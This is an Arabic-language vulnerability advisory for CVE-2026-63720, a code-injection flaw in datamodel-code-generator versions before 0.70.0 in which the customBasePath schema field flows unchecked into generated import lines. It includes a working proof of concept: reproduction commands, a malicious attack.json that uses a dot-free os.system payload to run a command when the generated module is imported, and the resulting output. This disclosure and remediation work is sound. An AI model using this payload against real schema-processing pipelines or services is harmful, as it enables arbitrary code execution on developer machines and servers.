
حقن أكواد (RCE) في datamodel-code-generator عبر customBasePath غير مُتحقَّق منه (CVE-2026-63720)
الخطورة: عالية، CVSS 3.1 7.5 / CVSS 4.0 7.5 (مُعتمَد من VulnCheck، بصفتها CNA)
السقف البيئي (نشر خدمة الشبكة): حتى 9.8
المتجه (v4.0): CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
المتجه (v3.1): CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
المتأثّر: datamodel-code-generator < 0.70.0
الإصلاح في: 0.70.0
CWE: CWE-94 (تحكم غير سليم في توليد الكود، 'حقن كود')
أبلغ عنه: Rahul Karne
CNA: VulnCheck
نُشر: 26 يوليو 2026
تحقّق datamodel-code-generator من كل سلسلة استيراد يتحكم بها المخطط ويمكن أن تحمل حمولة حقن كود، باستثناء واحدة.
تحوّل الأداة مخطط الإدخال (JSON Schema أو OpenAPI أو YAML) إلى مصدر نماذج بايثون. تُكتب عدة حقول من المخطط مباشرة في ذلك الكود المُولَّد، لذلك يتحقق المشروع منها باعتبارها معرّفات بايثون منقوطة قبل الاستخدام، تحديدًا لمنع الحقن. حقل الامتداد customBasePath في المخطط هو الحقل الشقيق الوحيد الذي يتخطى هذا الفحص. تتدفق قيمته دون تعقيم إلى عبارة from ... import ... في المخرجات المُولَّدة. يمكن للمهاجم الذي يتحكم في مخطط الإدخال تضمين كود بايثون عشوائي باستخدام أسطر جديدة وتعبير خالٍ من النقاط، ويُتنفَّذ لحظة استيراد الوحدة المُولَّدة، وهي الخطوة التالية المعتادة بعد توليد النماذج.
هذا إصلاح ناقص لـ CVE-2026-55415 (GHSA-5578-w22f-pfx9)، الذي حصّن الحقلين الشقيقين customTypePath وx-python-import ضد هذه الفئة بعينها. لم يغطِّ ذلك الإصلاح customBasePath، الذي يصل إلى نفس المصب دون تحقق، وظل قابلًا للاستغلال عبر 0.68.1 والفرع الرئيسي حتى 0.70.0.
تنفيذ كود بايثون عشوائي في العملية التي تستورد النماذج المُولَّدة أو تشغّلها: جهاز المطوّر، أو عدّاء CI، أو أي خدمة تولّد النماذج ثم تحمّلها. تتعرّض سرية المضيف وسلامته وتوافره للاختراق بالكامل، محدودًا فقط بصلاحيات تلك العملية.
تعتمد الخطورة كليًا على المكان الذي يعمل فيه توليد الكود على إدخال غير موثوق:
من المتأثر: أي استخدام لـ datamodel-code-generator < 0.70.0 (1) يولّد نماذج من مخطط تكون قيمة customBasePath فيه متأثرة بالمهاجم، و(2) يستورد الوحدة المُولَّدة أو ينفذها. سير العمل الافتراضي المتمثل في التوليد ثم الاستيراد يحقق (2) بطبيعته.
من غير المتأثر:
0.70.0 أو أحدث، حيث يتم التحقق من customBasePath.| المقياس | القيمة | المصدر |
|---|---|---|
| التنزيلات، كل الوقت | 194 مليون | pepy.tech/projects/datamodel-code-generator |
تُنقل قيمة حقل المخطط customBasePath إلى الكود المُولَّد دون أي قيد على المعرّف. ثلاث نقاط في قاعدة الكود مهمة (المسارات نسبية إلى src/datamodel_code_generator/):
parser/jsonschema.py الحقل custom_base_path مع alias="customBasePath" (سطر 644 تقريبًا)، ويُستهلَك عبر _resolve_base_class(...) في عدة مواضع استدعاء.parser/base.py، في _resolve_base_class (سطر 1665 تقريبًا)، القيمة بعد normalize() محلية فقط (إزالة التكرار/القص). لا يُطبَّق أي تحقق من المعرّف.imports.py، في Import.from_full_path() (سطر 35 تقريبًا)، القيمة حرفيًا كسطر from ... import .... تُستخدم القيمة أيضًا كأساس للفئة في model/base.py في set_base_class (سطر 1324 تقريبًا) وتُعرض خامًا بواسطة قالب النموذج (class {{ class_name }}({{ base_class }}):).نظرًا لأن القيمة تُكتب في مصدر بايثون دون أي قيد، تبقى الأسطر الجديدة المضمّنة والتعبير الخالي من النقاط في المخرجات كأسطر خاصة قابلة للتحليل كلٌّ على حدة، ويُتنفَّذ السطر الأوسط عند الاستيراد.
الحمولة خالية من النقاط لضرورة. يقسم Import.from_full_path القيمة على .، لذا فإن استدعاء os.system(...) عاديًا سيتفكك. استخدام getattr(__import__('os'),'system')(...) يتجنب أي . مع حلّ الاستدعاء نفسه، وتبقي الأسطر الجديدة المحيطة أسطر from ... import ... المُصدرة صحيحة نحويًا بحيث يعمل السطر الأوسط المحقون بسلاسة.
هذا ليس مشروعًا أهمل مسألة الحقن. حصّن صاحب المشروع هذه الفئة بعينها مرارًا عبر عدة إشعارات أمنية (GHSA-5578، m34r، 8m8r، wjv6)، وفي كل مرة كان يمرر سلسلة استيراد أو نوع يتحكم بها المخطط عبر _validate_dotted_python_identifier_path قبل وصولها إلى توليد الكود. الحقلان الشقيقان customTypePath (يُتحقق منه في parser/jsonschema.py عند السطرين 4956 و5202 تقريبًا) وx-python-import (سطر 2096 تقريبًا) يمرّان عبر ذلك المدقق.
customBasePath هو الحقل الشقيق الوحيد دون مثل هذا الاستدعاء. يصل إلى نفس المصب Import.from_full_path عبر مسار مختلف (_resolve_base_class) لم يُربط أبدًا بالتحقق الذي تلقه الحقول الأخرى. نجا العيب تحديدًا لأن الدفاع المحيط بدا مكتملًا: المراجع الذي يفحص سلاسل الاستيراد غير المحققة يرى مدققين على الحقول التي يفحصها أولًا، وهذا الحقل يمر عبر مساعد يبدو وكأنه حل لفئة أساسية لا معالجة استيراد. إنها فجوة في إصلاح منهجي، لا غياب إصلاح، ولهذا استمرت حتى الإصدار الأحدث.
يحتاج المهاجم إلى:
< 0.70.0.customBasePath في مخطط سيعالجه الهدف، عمليًا بتقديم مخطط الإدخال أو التأثير فيه (مستند OpenAPI/JSON Schema تابع لطرف ثالث، أو مخطط مُرسَل إلى خدمة).لا تُطلب من المهاجم مصادقة أو صلاحيات مرتفعة (PR:N). تعكس النتيجة الأساسية أن الضحية ينفذ إجراء التوليد والاستيراد المعتاد (UI:R في v3.1 / UI:A في v4.0)؛ نشر خدمة الشبكة يزيل حتى ذلك، ومن هنا يأتي الرقم البيئي 9.8.
نُفِّذ ما يلي ضد الحزمة الحقيقية غير المعدّلة. إعادة الإنتاج:
pip install "datamodel-code-generator==0.68.1"
datamodel-codegen --input attack.json --input-file-type jsonschema --output generated_models.py
python -c "import generated_models"
إدخال المهاجم (attack.json):
{
"type": "object",
"title": "User",
"customBasePath": "builtins import object\ngetattr(__import__('os'),'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object",
"properties": { "name": { "type": "string" } }
}
الملف المُولَّد generated_models.py على الإصدار الهش (0.68.1):
from __future__ import annotations
from builtins import object
getattr(__import__('os'), 'system')(
'whoami > RCE_PROOF.txt'
)
from builtins import object
class User(object):
name: str | None = None
يُصدر استدعاء المهاجم حرفيًا في المصدر المُولَّد.
عند الاستيراد: يُنفَّذ الأمر. في التشغيل الموثَّق، طُبع العلامة المحقونة إلى stdout وأُنشئ RCE_PROOF.txt يحتوي المستخدم الحالي (root)، مما يؤكد تنفيذ أوامر عشوائية عبر سير عمل التوليد والاستيراد المعتاد.
على الإصدار المصلَّح (0.70.0): يُرفض نفس المخطط قبل توليد أي كود:
Error at schema path 'attack.json': Error: customBasePath must be a dotted
Python identifier path: "builtins import object\ngetattr(__import__('os'),
'system')('whoami > RCE_PROOF.txt')\nfrom builtins.object"
لا يُنتَج أي ملف. تذكر رسالة الرفض الإصلاح مباشرة: القيمة مطلوب الآن أن تكون مسار معرّف بايثون منقوطًا.
البديل الخاص بخدمة الشبكة. تم عرض خدمة HTTP غير مصادقة على الحلقة المحلية (loopback) تقبل مخططًا مُرسَلًا عبر POST وتولّد النماذج وتستوردها، ويُتنفَّذ أمر المهاجم على الخادم من أمر curl واحد غير مصادَق دون أي تفاعل من المستخدم. هذا هو شكل النشر الكامن خلف الرقم البيئي 9.8. ملفات الخدمة والهجوم مضمنة في مستودع PoC.
رقِّ إلى datamodel-code-generator 0.70.0 أو أحدث:
pip install --upgrade "datamodel-code-generator>=0.70.0"
يوجّه 0.70.0 customBasePath عبر نفس التحقق من المعرّف المنقوط المطبَّق بالفعل على customTypePath وx-python-import، لذلك تُرفض أي قيمة ليست مسار معرّف صالحًا قبل توليد الكود.
إذا لم تتمكن من الترقية فورًا: لا تولّد نماذج من مخططات لا تتحكم فيها بالكامل، ولا تستورد أو تنفذ وحدات مولّدة من مخططات غير موثوقة. لا يوجد خيار إعداد يضيف التحقق المفقود في الإصدارات المتأثرة؛ الترقية هي الإصلاح الموثوق.
ملاحظة لمن يعيد استخدام الأجزاء الداخلية للمولّد. كان العيب استدعاء تحقق مفقودًا على مسار كود واحد إلى Import.from_full_path، وليس خللًا في المصب نفسه. أي مشروع سفلي يكتب سلاسل يتحكم بها المخطط في كود مولّد يجب أن يتحقق من كل حقل من هذا القبيل باعتباره معرّفًا منقوطًا، وليس فقط تلك التي تمر عبر مسار معالجة الاستيراد الواضح.
خصص VulnCheck (بصفتها CNA) نتيجة 7.5 (عالية)، مطابقة للمتجه الأساسي الذي استخدمه صاحب المشروع في الإشعار الأمني الأصلي CVE-2026-55415، لأنها نفس فئة الحقن، ونفس المصب Import.from_full_path، ونفس التأثير.
AV:N: تُحصل المخططات عادة عبر الشبكة (مستندات OpenAPI / JSON Schema مُستلَبة أو تابعة لطرف ثالث).AC:H: يعتمد الاستغلال على أن يولّد الضحية نماذج من المخطط الخبيث ثم يستورد الكود المُولَّد أو يشغّله.PR:N / UI:R (v3.1): لا صلاحيات للمهاجم؛ ينفذ الضحية سير عمل التوليد والاستيراد المعتاد.C:H / I:H / A:H: تنفيذ كود عشوائي كامل على المضيف.السقف البيئي هو 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) وينطبق تحديدًا على نشر خدمة الشبكة، حيث يكون المولّد معرضًا لمخططات غير موثوقة ولا يُطلب أي تفاعل من الضحية. هذا الرقم ملاحظة بيئية لذلك النشر، وليس النتيجة الأساسية المعتمدة. ذكر الاثنين معًا، والوضوح بشأن أيهما هو الآخر، هو التأطير الصادق: الأساس 7.5، ويبلغ 9.8 فقط في حالة الخدمة المكشوفة.
| التاريخ | الحدث |
|---|---|
اكتشف وأبلغ Rahul Karne، باحث أمني وعضو كبير في IEEE. تركز أبحاثه على عيوب الحقن ومعالجة الإدخال في الحزم مفتوحة المصدر عالية الاعتماد، بما في ذلك CVE-2026-65321 (حقن SQL في PyAthena) وتحصين الفئة الأصلية المرتبط بهذا الاكتشاف.
التواصل: [email protected] · GitHub: rahulreddykarne
545a96c5: https://github.com/koxudaxi/datamodel-code-generator/commit/545a96c5استفسارات الإعلام: [email protected]. إثبات المفهوم الكامل (مخطط المهاجم، عرض خدمة الشبكة) وتفاصيل تقنية إضافية متاحة عند الطلب.
| التنزيلات، آخر 30 يومًا | 16.3 مليون | pepy.tech |
| النشر النموذجي | أجهزة المطوّرين، خطوط أنابيب CI/CD، ومنصات توليد SDK التي تولّد الكود من OpenAPI / JSON Schema | متأصل في وظيفة الأداة |
| 13 يوليو 2026 |
| تحديد الثغرة |
| 14 يوليو 2026 | الإبلاغ (إفصاح منسق) |
| 21 يوليو 2026 | إيداع الإصلاح (545a96c5) |
| 24 يوليو 2026 | إصدار النسخة المصلَّحة 0.70.0 |
| 26 يوليو 2026 | نشر CVE-2026-63720 بواسطة VulnCheck |